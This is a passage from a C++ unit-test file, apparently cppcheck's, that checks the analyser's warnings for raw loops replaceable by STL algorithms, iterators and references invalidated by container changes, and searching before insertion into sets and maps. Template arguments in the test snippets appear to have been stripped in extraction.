std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n 